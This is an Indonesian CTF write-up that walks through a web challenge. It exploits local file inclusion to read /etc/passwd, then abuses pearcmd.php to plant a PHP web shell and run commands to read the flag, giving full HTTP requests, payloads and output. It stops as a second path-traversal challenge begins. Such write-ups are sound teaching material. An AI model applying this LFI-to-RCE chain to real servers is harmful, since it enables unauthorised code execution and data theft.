Web Exploitation

101 - Web Exploitation

Diberikan sebuah website dengan dua fitur yaitu PING, dan File Upload.
Namun sesuai dengan challenge "dek" Fedra yang dimana challenge tersebut pernah digunakan pada lomba UConnect Cybersecurity fitur tersebut merupakan rabbit hole.

Kerentanan sesungguhnya berada pada endpoint

```
index.php?page=
```

yang dimana rentan terhadap LFI (Local File Inclusion).
https://cyberchampion-web-101.chals.io/index.php?page=../../../../../etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Ada 2 cara untuk melakukan RCE pada challenge ini yaitu apache log poisoning → RCE, dan eksploitasi file pearcmd → RCE.
Karena website menggunakan Apache, jadi waktu dicoba melihat access.log terkena permission denied, sehingga kami menggunakan cara kedua yaitu eksploitasi pada file pearcmd.php

Berdasarkan referensi berikut, kita dapat melakukan exploitasinya.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#lfi-to-rce-via-php-pearcmd

```
GET /index.php?page=
../../../../../usr/local/lib/php/pearcmd.php&
+-c+/var/www/html/tol.php+-d+man_dir=
<?echo(system($_GET['c']));?>+-s+ HTTP/1.1
Host: cyberchampion-web-101.chals.io
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avi
f,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v
=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
```

Setelah melakukan spawn shell, selanjutnya kita dapat melakukan RCE.

```
/index.php?page=../../../../../var/www/html/tol.php&c=ls+/
```

```
boot
dev
etc
flag_c7319b0bd96f9d01981bbf52ebb7027f.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
var";}
```

Selanjutnya kita dapat melihat flag tersebut.

```
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5
:"__uri";a:0:{}}s:7:"man_dir";s:29:"TSA{Web_Hacking_101_c
7319b0bd96f9d01981bbf52ebb7027f}TSA{Web_Hacking_101_c7319
b0bd96f9d01981bbf52ebb7027f}";}
```

Flag : TSA{Web_Hacking_101_c7319b0bd96f9d01981bbf52ebb7027f}

File Not Found v2

Diberikan sebuah website static tetapi tidak dingin 🥶, sepertinya halnya dengan “king” Dimas yang selalu membuat challenge diluar nalar.
Terdapat sebuah endpoint menarik

```
/cdn/?file=
```

yang rentan terhadap path traversal seperti berikut.